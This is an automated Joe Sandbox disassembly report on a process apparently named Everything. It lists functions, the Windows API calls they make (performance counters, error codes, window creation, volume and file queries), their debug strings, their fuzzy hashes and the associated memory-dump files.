Snapshot File: hcaresult_6_2_7ff63d470000_Everything.jbxd

Similarity

API ID: HeapPerformanceQuery$AllocCounterErrorFrequencyLastProcess
String ID: _service_client_ioctrl %u, s %u r %u$_service_client_ioctrl reply %d in %f seconds$set last error %d
API String ID: 2649382330-1087158519
Opcode ID: 53f26956c2515177eff097131a945b8a36a111b2edb930b1962b23cd3ac931b0
Instruction ID: 5752145b18a00f8629908cbc76505659b229b2c892caecf0e6c4c3706f91caa4
Opcode Fuzzy Hash: 53f26956c2515177eff097131a945b8a36a111b2edb930b1962b23cd3ac931b0
Instruction Fuzzy Hash: DF519176A1874A82E760CF96E58066D73A6FB497A0F004035EF5E83B64EF3CE454DB41

Function 00007FF63D55A8D0 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 91COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF63D524140: QueryPerformanceFrequency.KERNEL32(?,?,?,?,00007FF63D47EC98), ref: 00007FF63D524149
Part of subcall function 00007FF63D524140: QueryPerformanceCounter.KERNEL32(?,?,?,?,00007FF63D47EC98), ref: 00007FF63D524158

SetLastError.KERNEL32 ref: 00007FF63D55A9FB

Strings

set last error %d, xrefs: 00007FF63D55A9EB
_service_client_ioctrl reply %d in %f seconds, xrefs: 00007FF63D55A978
_service_client_ioctrl %u, s %u r %u, xrefs: 00007FF63D55A931

Memory Dump Source

Source File: 00000006.00000002.2243039986.00007FF63D471000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF63D470000, based on PE: true

Associated: 00000006.00000002.2242965964.00007FF63D470000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D620000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D64A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243722692.00007FF63D66C000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243801950.00007FF63D670000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243924981.00007FF63D671000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243948513.00007FF63D673000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243976774.00007FF63D674000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244000249.00007FF63D67C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244022765.00007FF63D680000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff63d470000_Everything.jbxd

Similarity

API ID: PerformanceQuery$CounterErrorFrequencyLast
String ID: _service_client_ioctrl %u, s %u r %u$_service_client_ioctrl reply %d in %f seconds$set last error %d
API String ID: 158728112-1087158519
Opcode ID: a89502b4466c6d1ae79752786ede0b557e249909c592ea7ffd52a5e9daade266
Instruction ID: 1959de3389b7d0ebd3f86fd754fca5fea8de47b8ff01ae89abbb735ae51b036d
Opcode Fuzzy Hash: a89502b4466c6d1ae79752786ede0b557e249909c592ea7ffd52a5e9daade266
Instruction Fuzzy Hash: E341D332A08B1A86EB518BA1E4402AD73B1FB49BA4F144136DE4D87395EF3CF845E781

Function 00007FF63D559E80 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 88COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF63D524140: QueryPerformanceFrequency.KERNEL32(?,?,?,?,00007FF63D47EC98), ref: 00007FF63D524149
Part of subcall function 00007FF63D524140: QueryPerformanceCounter.KERNEL32(?,?,?,?,00007FF63D47EC98), ref: 00007FF63D524158

SetLastError.KERNEL32(?,?,?,?,?,00007FF63D55B45D,?,?,?,?,?,?,00007FF63D4808B0), ref: 00007FF63D559F93

Strings

set last error %d, xrefs: 00007FF63D559F83
_service_client_ioctrl reply %d in %f seconds, xrefs: 00007FF63D559F08
_service_client_ioctrl %u, s %u r %u, xrefs: 00007FF63D559EBF

Memory Dump Source

Source File: 00000006.00000002.2243039986.00007FF63D471000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF63D470000, based on PE: true

Associated: 00000006.00000002.2242965964.00007FF63D470000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D620000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D64A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243722692.00007FF63D66C000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243801950.00007FF63D670000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243924981.00007FF63D671000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243948513.00007FF63D673000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243976774.00007FF63D674000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244000249.00007FF63D67C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244022765.00007FF63D680000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff63d470000_Everything.jbxd

Similarity

API ID: PerformanceQuery$CounterErrorFrequencyLast
String ID: _service_client_ioctrl %u, s %u r %u$_service_client_ioctrl reply %d in %f seconds$set last error %d
API String ID: 158728112-1087158519
Opcode ID: ab5d467a5c1242f41781bed6b33b2b45eca77d11241a114a5bd1128b0375b161
Instruction ID: a29252c9a02a7633ed678435e1e36b4b83482b73d2382cbb26a1a51ce0f396eb
Opcode Fuzzy Hash: ab5d467a5c1242f41781bed6b33b2b45eca77d11241a114a5bd1128b0375b161
Instruction Fuzzy Hash: BA31B875E0834B86E7129BA2E44027A7292BF44BA8F144035DE4EC7755FF3CE445EB80

Function 00007FF63D55A790 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 88COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF63D524140: QueryPerformanceFrequency.KERNEL32(?,?,?,?,00007FF63D47EC98), ref: 00007FF63D524149
Part of subcall function 00007FF63D524140: QueryPerformanceCounter.KERNEL32(?,?,?,?,00007FF63D47EC98), ref: 00007FF63D524158

SetLastError.KERNEL32 ref: 00007FF63D55A8B3

Strings

set last error %d, xrefs: 00007FF63D55A8A3
_service_client_ioctrl reply %d in %f seconds, xrefs: 00007FF63D55A830
_service_client_ioctrl %u, s %u r %u, xrefs: 00007FF63D55A7E9

Memory Dump Source

Source File: 00000006.00000002.2243039986.00007FF63D471000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF63D470000, based on PE: true

Associated: 00000006.00000002.2242965964.00007FF63D470000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D620000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D64A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243722692.00007FF63D66C000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243801950.00007FF63D670000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243924981.00007FF63D671000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243948513.00007FF63D673000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243976774.00007FF63D674000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244000249.00007FF63D67C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244022765.00007FF63D680000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff63d470000_Everything.jbxd

Similarity

API ID: PerformanceQuery$CounterErrorFrequencyLast
String ID: _service_client_ioctrl %u, s %u r %u$_service_client_ioctrl reply %d in %f seconds$set last error %d
API String ID: 158728112-1087158519
Opcode ID: 2b4cd00eb4fef286c884df93757ad18178468b3bcc28ca954b145cd2307e33d6
Instruction ID: 3bb8b658050b0351d9927244ec01ff85adf95655ed876e32f271d8adeda25c64
Opcode Fuzzy Hash: 2b4cd00eb4fef286c884df93757ad18178468b3bcc28ca954b145cd2307e33d6
Instruction Fuzzy Hash: 6341A032E0870AC6EB118BA5E44026D73A2FB58B58F144136DA4DC7795EF3CF546E781

Function 00007FF63D559280 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 87COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF63D524140: QueryPerformanceFrequency.KERNEL32(?,?,?,?,00007FF63D47EC98), ref: 00007FF63D524149
Part of subcall function 00007FF63D524140: QueryPerformanceCounter.KERNEL32(?,?,?,?,00007FF63D47EC98), ref: 00007FF63D524158

SetLastError.KERNEL32(00000000,00000000,00000000,00007FF63D55983A,?,?,?,?,?,?,?,?,00007FF63D523402), ref: 00007FF63D559392

Strings

set last error %d, xrefs: 00007FF63D559382
_service_client_ioctrl reply %d in %f seconds, xrefs: 00007FF63D559306
_service_client_ioctrl %u, s %u r %u, xrefs: 00007FF63D5592C0

Memory Dump Source

Source File: 00000006.00000002.2243039986.00007FF63D471000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF63D470000, based on PE: true

Associated: 00000006.00000002.2242965964.00007FF63D470000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D620000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D64A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243722692.00007FF63D66C000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243801950.00007FF63D670000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243924981.00007FF63D671000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243948513.00007FF63D673000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243976774.00007FF63D674000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244000249.00007FF63D67C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244022765.00007FF63D680000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff63d470000_Everything.jbxd

Similarity

API ID: PerformanceQuery$CounterErrorFrequencyLast
String ID: _service_client_ioctrl %u, s %u r %u$_service_client_ioctrl reply %d in %f seconds$set last error %d
API String ID: 158728112-1087158519
Opcode ID: 666a7b1e0861cf966c0a57408d503636f3e29c333a1cafa7117ac0fe5ed89fd5
Instruction ID: 5f559794cd27fdf9d451e5980468f20158b570d29dfd9c2f238f6f16a5fa59a3
Opcode Fuzzy Hash: 666a7b1e0861cf966c0a57408d503636f3e29c333a1cafa7117ac0fe5ed89fd5
Instruction Fuzzy Hash: 0B31A771F0865AC2E7118B92E44017D67A1BB94BD8F144035DE5EC7795EF3CE845EB80

Function 00007FF63D548F80 Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32 ref: 00007FF63D548FC3
GetVolumeInformationW.KERNEL32 ref: 00007FF63D549007
SetErrorMode.KERNEL32 ref: 00007FF63D54902F
GetDriveTypeW.KERNEL32 ref: 00007FF63D549073

Memory Dump Source

Source File: 00000006.00000002.2243039986.00007FF63D471000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF63D470000, based on PE: true

Associated: 00000006.00000002.2242965964.00007FF63D470000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D620000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D64A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243722692.00007FF63D66C000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243801950.00007FF63D670000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243924981.00007FF63D671000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243948513.00007FF63D673000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243976774.00007FF63D674000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244000249.00007FF63D67C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244022765.00007FF63D680000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff63d470000_Everything.jbxd

Similarity

API ID: ErrorMode$DriveInformationTypeVolume
String ID:
API String ID: 1367569756-0
Opcode ID: ff5d218dc7fa123cfe3235317a48335da5b91f6c87b3adc2018308f984ac80c0
Instruction ID: 10847e759d5c85a417f8f0c026cf924095ac923b5fa79443b17a57a431a461b4
Opcode Fuzzy Hash: ff5d218dc7fa123cfe3235317a48335da5b91f6c87b3adc2018308f984ac80c0
Instruction Fuzzy Hash: D431D166A0CA8A81FB609BA4E0413BAA3B1EFC5B94F045035EE4D87759FF3DD410AB40

Function 00007FF63D546080 Relevance: 6.1, APIs: 4, Instructions: 84COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32 ref: 00007FF63D546159
GetWindowLongW.USER32 ref: 00007FF63D54616F
GetWindowLongW.USER32 ref: 00007FF63D54618A
SetWindowLongW.USER32 ref: 00007FF63D5461A0

Memory Dump Source

Source File: 00000006.00000002.2243039986.00007FF63D471000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF63D470000, based on PE: true

Associated: 00000006.00000002.2242965964.00007FF63D470000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D620000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D64A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243722692.00007FF63D66C000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243801950.00007FF63D670000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243924981.00007FF63D671000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243948513.00007FF63D673000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243976774.00007FF63D674000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244000249.00007FF63D67C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244022765.00007FF63D680000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff63d470000_Everything.jbxd

Similarity

API ID: Window$Long$Create
String ID:
API String ID: 1733017098-0
Opcode ID: edcdeb1883e529be76b393e3e48757de2a8533053853252b41e6f19d18bbfc60
Instruction ID: 61eca349bc8015b5aea92319cdb1cc97359fe5a7cb03e9c6e063ced6d6507d05
Opcode Fuzzy Hash: edcdeb1883e529be76b393e3e48757de2a8533053853252b41e6f19d18bbfc60
Instruction Fuzzy Hash: E631A136A18BC486EA60DB55F8406ABB360FB897A4F441035FE8D83B99EF3CD444DB00

Function 00007FF63D55AE90 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 82COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF63D524140: QueryPerformanceFrequency.KERNEL32(?,?,?,?,00007FF63D47EC98), ref: 00007FF63D524149
Part of subcall function 00007FF63D524140: QueryPerformanceCounter.KERNEL32(?,?,?,?,00007FF63D47EC98), ref: 00007FF63D524158

SetLastError.KERNEL32(00000000,?,?,00007FF63D4B8320), ref: 00007FF63D55AF8F

Strings

set last error %d, xrefs: 00007FF63D55AF7F
_service_client_ioctrl reply %d in %f seconds, xrefs: 00007FF63D55AF01
_service_client_ioctrl %u, s %u r %u, xrefs: 00007FF63D55AEB6

Memory Dump Source

Source File: 00000006.00000002.2243039986.00007FF63D471000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF63D470000, based on PE: true

Associated: 00000006.00000002.2242965964.00007FF63D470000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D620000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D64A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243722692.00007FF63D66C000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243801950.00007FF63D670000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243924981.00007FF63D671000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243948513.00007FF63D673000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243976774.00007FF63D674000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244000249.00007FF63D67C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244022765.00007FF63D680000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff63d470000_Everything.jbxd

Similarity

API ID: PerformanceQuery$CounterErrorFrequencyLast
String ID: _service_client_ioctrl %u, s %u r %u$_service_client_ioctrl reply %d in %f seconds$set last error %d
API String ID: 158728112-1087158519
Opcode ID: de59609ac9f3f0b887c31955c6347065d7faf55dec1f77600a2611164f7b8fd5
Instruction ID: 4c4e286b50570e176f5913ef31ed9617810ef458e86d5ef543ba78acd1a4eb11
Opcode Fuzzy Hash: de59609ac9f3f0b887c31955c6347065d7faf55dec1f77600a2611164f7b8fd5
Instruction Fuzzy Hash: 6F316F76E0824A86FB119BE1E4412B972A2AF59368F044035DA0DC6785FF3CF889E741

Function 00007FF63D55B320 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 82COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF63D524140: QueryPerformanceFrequency.KERNEL32(?,?,?,?,00007FF63D47EC98), ref: 00007FF63D524149
Part of subcall function 00007FF63D524140: QueryPerformanceCounter.KERNEL32(?,?,?,?,00007FF63D47EC98), ref: 00007FF63D524158

SetLastError.KERNEL32(00000000,?,?,00007FF63D4B8360), ref: 00007FF63D55B41F

Strings

set last error %d, xrefs: 00007FF63D55B40F
_service_client_ioctrl reply %d in %f seconds, xrefs: 00007FF63D55B391
_service_client_ioctrl %u, s %u r %u, xrefs: 00007FF63D55B346

Memory Dump Source

Source File: 00000006.00000002.2243039986.00007FF63D471000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF63D470000, based on PE: true

Associated: 00000006.00000002.2242965964.00007FF63D470000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D620000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D64A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243722692.00007FF63D66C000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243801950.00007FF63D670000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243924981.00007FF63D671000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243948513.00007FF63D673000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243976774.00007FF63D674000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244000249.00007FF63D67C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244022765.00007FF63D680000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff63d470000_Everything.jbxd

Similarity

API ID: PerformanceQuery$CounterErrorFrequencyLast
String ID: _service_client_ioctrl %u, s %u r %u$_service_client_ioctrl reply %d in %f seconds$set last error %d
API String ID: 158728112-1087158519
Opcode ID: f1a7726f87e4224b62e477d22a3fe26a7d517ea488ba5ff861bdbd984e06ddcf
Instruction ID: 95705cf789b16367a44b969581c72d6e077e8ec714e761596ecdd735b38821b7
Opcode Fuzzy Hash: f1a7726f87e4224b62e477d22a3fe26a7d517ea488ba5ff861bdbd984e06ddcf
Instruction Fuzzy Hash: 4B317432E0814A96FB129BE1E4453B97262AF55368F144035DA0ECB785FF3CE885E741

Function 00007FF63D55A710 Relevance: 6.0, APIs: 2, Strings: 2, Instructions: 24COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,?,?,?,00007FF63D4BE903,?,?,?,00007FF63D4960D4), ref: 00007FF63D55A730
LeaveCriticalSection.KERNEL32(?,?,?,?,?,00007FF63D4BE903,?,?,?,00007FF63D4960D4), ref: 00007FF63D55A747

Strings

service client monitor clear all2 , xrefs: 00007FF63D55A74D
service client monitor clear all, xrefs: 00007FF63D55A71D

Memory Dump Source

Source File: 00000006.00000002.2243039986.00007FF63D471000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF63D470000, based on PE: true

Associated: 00000006.00000002.2242965964.00007FF63D470000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D620000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D64A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243722692.00007FF63D66C000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243801950.00007FF63D670000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243924981.00007FF63D671000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243948513.00007FF63D673000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243976774.00007FF63D674000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244000249.00007FF63D67C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244022765.00007FF63D680000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff63d470000_Everything.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID: service client monitor clear all$service client monitor clear all2
API String ID: 3168844106-2141642881
Opcode ID: 9c02d8c00be8c2d01a666b119a0ffc9666270f15cfdc08f6f104b854b6e9aab1
Instruction ID: 61adfef5485a23f019e69caa25d4baaeeaf76dfe3ebcc95e1e723501cb1fe1f1
Opcode Fuzzy Hash: 9c02d8c00be8c2d01a666b119a0ffc9666270f15cfdc08f6f104b854b6e9aab1
Instruction Fuzzy Hash: FFF06D72A1855B92E7549BA0E5957EAB731FB94348F400131DA2D83AA5EF3CD16CEB00

Function 00007FF63D5505F0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 94COMMON

Download Yara Rule

APIs

GetWindowsDirectoryW.KERNEL32 ref: 00007FF63D55069B
GetWindowsDirectoryW.KERNEL32 ref: 00007FF63D5506D0

Strings

%systemroot%, xrefs: 00007FF63D550630

Memory Dump Source

Source File: 00000006.00000002.2243039986.00007FF63D471000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF63D470000, based on PE: true

Associated: 00000006.00000002.2242965964.00007FF63D470000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D620000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D64A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243722692.00007FF63D66C000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243801950.00007FF63D670000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243924981.00007FF63D671000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243948513.00007FF63D673000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243976774.00007FF63D674000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244000249.00007FF63D67C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244022765.00007FF63D680000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff63d470000_Everything.jbxd

Similarity

API ID: DirectoryWindows
String ID: %systemroot%
API String ID: 3619848164-3112198089
Opcode ID: 78eb9637c3925ed78c97ee98ab3d943104c4efc5a7d8245cb03895af0dfdeb3b
Instruction ID: 7dfef34d3a9f0e681f9ba92a454553b12e73c15b004c8382991ca6b0f2d7feed
Opcode Fuzzy Hash: 78eb9637c3925ed78c97ee98ab3d943104c4efc5a7d8245cb03895af0dfdeb3b
Instruction Fuzzy Hash: 7A411522E1C6DA42FA729BA5E4502FE63A1BFC5790F444031DE8E83799EE3CD501EB40

Function 00007FF63D6195F0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 69threadCOMMONLIBRARYCODE

Download Yara Rule

APIs

CreateThread.KERNEL32 ref: 00007FF63D6196B5
GetLastError.KERNEL32 ref: 00007FF63D6196C0

Strings

mem_alloc, xrefs: 00007FF63D6195FA

Memory Dump Source

Source File: 00000006.00000002.2243039986.00007FF63D471000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF63D470000, based on PE: true

Associated: 00000006.00000002.2242965964.00007FF63D470000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D620000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D64A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243722692.00007FF63D66C000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243801950.00007FF63D670000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243924981.00007FF63D671000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243948513.00007FF63D673000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243976774.00007FF63D674000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244000249.00007FF63D67C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244022765.00007FF63D680000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff63d470000_Everything.jbxd

Similarity

API ID: CreateErrorLastThread
String ID: mem_alloc
API String ID: 1689873465-1713776653
Opcode ID: 517fbeb5d1630c79a0ffb439fa244e39bffd5084e405505b6b4181d511319ccd
Instruction ID: 0f3e46da4d68a29584aad7284e17027e5e4bbba3cdafb1fdbc6eb77eba39321d
Opcode Fuzzy Hash: 517fbeb5d1630c79a0ffb439fa244e39bffd5084e405505b6b4181d511319ccd
Instruction Fuzzy Hash: 5021B771E0875586F714AFE5A9412BA7391BF867A4F040236EEBD83B86EF3CD411B600

Function 00007FF63D546F70 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 00007FF63D546FF1
GetLastError.KERNEL32 ref: 00007FF63D547000

Strings

failed to open directory %d, xrefs: 00007FF63D547006

Memory Dump Source

Source File: 00000006.00000002.2243039986.00007FF63D471000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF63D470000, based on PE: true

Associated: 00000006.00000002.2242965964.00007FF63D470000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D620000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D64A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243722692.00007FF63D66C000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243801950.00007FF63D670000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243924981.00007FF63D671000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243948513.00007FF63D673000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243976774.00007FF63D674000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244000249.00007FF63D67C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244022765.00007FF63D680000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff63d470000_Everything.jbxd

Similarity

API ID: CreateErrorFileLast
String ID: failed to open directory %d
API String ID: 1214770103-947401544
Opcode ID: 2d2da7f4a285b735170b0c11be7930928b787cf406eb6f2d36bfa635a0f2271a
Instruction ID: ee1a74f0ebbecbde38b68c9bd514871c1c9719d9aa7e5d6f736d9dd7feaea0f5
Opcode Fuzzy Hash: 2d2da7f4a285b735170b0c11be7930928b787cf406eb6f2d36bfa635a0f2271a
Instruction Fuzzy Hash: A911B431A1C64A91EB209B65F4503AA7360EF857A4F500239EE6DC7BD9EF3DD414AB40

